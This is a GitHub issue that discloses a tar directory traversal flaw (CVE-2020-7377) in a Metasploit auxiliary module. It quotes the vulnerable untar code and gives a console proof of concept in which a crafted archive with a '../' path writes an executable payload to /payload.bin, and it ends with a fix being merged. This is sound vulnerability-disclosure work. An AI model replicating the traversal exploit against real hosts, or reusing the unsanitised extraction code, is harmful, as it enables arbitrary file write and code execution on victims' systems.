New issue

Jump to bottom

# auxiliary/admin/http/telpho10_credential_dump: `untar` method is vulnerable to directory traversal resulting in arbitrary file write on the Metasploit host #14015

Closed **bcoles** opened this issue on Aug 18, 2020 · 3 comments · Fixed by #14034

Labels bug module

**bcoles** commented on Aug 18, 2020 Contributor

The `untar` method in the `auxiliary/admin/http/telpho10_credential_dump` module is vulnerable to directory traversal resulting in arbitrary file write.

This can be used to achieve remote command execution on the Metasploit host from a remote malicious webserver masquerading as a Telpho10 system.

## Vulnerable Code

```
# Used for unpacking backup files
def untar(tarfile)
  destination = tarfile.split('.tar').first
  FileUtils.mkdir_p(destination)
  File.open(tarfile, 'rb') do |file|
    Rex::Tar::Reader.new(file) do |tar|
      tar.each do |entry|
        dest = File.join destination, entry.full_name   # <-- TAR file name used as destination path for file write
        if entry.file?
          File.open(dest, 'wb') do |f|
            f.write(entry.read)  # <-- file contents are written to destination path
          end
          File.chmod(entry.header.mode, dest)
        end
      end
    end
  end
  return destination
end
```

## PoC

```
msf6 > use multi/fileformat/zip_slip
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/zip_slip) > set TARGETPAYLOADPATH ../../../../../../../payload.bin
TARGETPAYLOADPATH => ../../../../../../../payload.bin
msf6 exploit(multi/fileformat/zip_slip) > run

[+] msf.tar stored at /root/.msf4/local/msf.tar
[*] When extracted, the payload is expected to extract to:
[*] ../../../../../../../payload.bin
msf6 exploit(multi/fileformat/zip_slip) > mkdir /var/www/html/telpho/
[*] exec: mkdir /var/www/html/telpho/

msf6 exploit(multi/fileformat/zip_slip) > mkdir /var/www/html/telpho/system
[*] exec: mkdir /var/www/html/telpho/system

msf6 exploit(multi/fileformat/zip_slip) > mkdir /var/www/html/telpho/temp
[*] exec: mkdir /var/www/html/telpho/temp

msf6 exploit(multi/fileformat/zip_slip) > Interrupt: use the 'exit' command to quit
msf6 exploit(multi/fileformat/zip_slip) > touch /var/www/html/telpho/system/backup.php
[*] exec: touch /var/www/html/telpho/system/backup.php

msf6 exploit(multi/fileformat/zip_slip) > mv /root/.msf4/local/msf.tar /var/www/html/telpho/temp/telpho10.epb
[*] exec: mv /root/.msf4/local/msf.tar /var/www/html/telpho/temp/telpho10.epb

msf6 exploit(multi/fileformat/zip_slip) > use auxiliary/admin/http/telpho10_credential_dump
msf6 auxiliary(admin/http/telpho10_credential_dump) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(admin/http/telpho10_credential_dump) > service apache2 start
[*] exec: service apache2 start

msf6 auxiliary(admin/http/telpho10_credential_dump) > ls -la /payload.bin
[*] exec: ls -la /payload.bin

ls: cannot access '/payload.bin': No such file or directory
msf6 auxiliary(admin/http/telpho10_credential_dump) > run
[*] Running module against 127.0.0.1

[*] Generating backup
[*] Downloading backup
[+] File saved in: /root/.msf4/loot/20200818043126_default_127.0.0.1_telpho10.backup_834653.tar
[-] Could not unpack files.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/telpho10_credential_dump) > ls -la /payload.bin
[*] exec: ls -la /payload.bin

-rwxrwxrwx 1 root root 207 Aug 18 04:31 /payload.bin
msf6 auxiliary(admin/http/telpho10_credential_dump) > file /payload.bin
[*] exec: file /payload.bin

/payload.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header
msf6 auxiliary(admin/http/telpho10_credential_dump) > tar --list -f /root/.msf4/loot/20200818043126_default_127.0.0.1_telpho10.backup_834653.tar
[*] exec: tar --list -f /root/.msf4/loot/20200818043126_default_127.0.0.1_telpho10.backup_834653.tar
```

```
tar: Removing leading `../../../../../../../' from member names
../../../../../../../payload.bin
```

bcoles added module bug labels on Aug 18, 2020

**bcoles** commented on Aug 19, 2020 Contributor Author

Presumably this also affects Metasploit Pro.

**@todb-r7** please request a CVE.

**todb-r7** commented on Aug 20, 2020 Contributor

Sure thing! Take CVE-2020-7377.

**@bcoles** if you could be so kind, can you pick your favorite CWE vuln class and write a brief description of the issue? I can use that to populate the CVE ID.

**bcoles** commented on Aug 21, 2020 Contributor Author

> Sure thing! Take CVE-2020-7377.
>
> **@bcoles** if you could be so kind, can you pick your favorite CWE vuln class and write a brief description of the issue? I can use that to populate the CVE ID.

CWE-23: Relative Path Traversal

The `auxiliary/admin/http/telpho10_credential_dump` module is affected by a relative path traversal vulnerability in the `untar` method which can be exploited to write arbitrary files to arbitrary locations on the host file system when the module is run on a malicious HTTP server.

In terms of affected versions, this probably affects the module since it was introduced in 2016, and is currently unpatched.

This probably affects Metasploit running on any supported platform. Tested with Metasploit running on Linux.

**bcoles** mentioned this issue on Aug 21, 2020

**telpho10_credential_dump: Prevent traversal in untar** #14034

Merged

**todb-r7** added a commit to todb-r7/cvelist that referenced this issue on Aug 24, 2020

`Add CVEs for two Metasploit modules` ··· `07c6606`

**todb-r7** mentioned this issue on Aug 24, 2020

**Add CVEs for two Metasploit modules** rapid7/cvelist#30

Merged

**smcintyre-r7** closed this as completed in #14034 on Aug 25, 2020

Assignees

No one assigned

Labels

bug module

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

telpho10_credential_dump: Prevent traversal in untar
bcoles/metasploit-framework

2 participants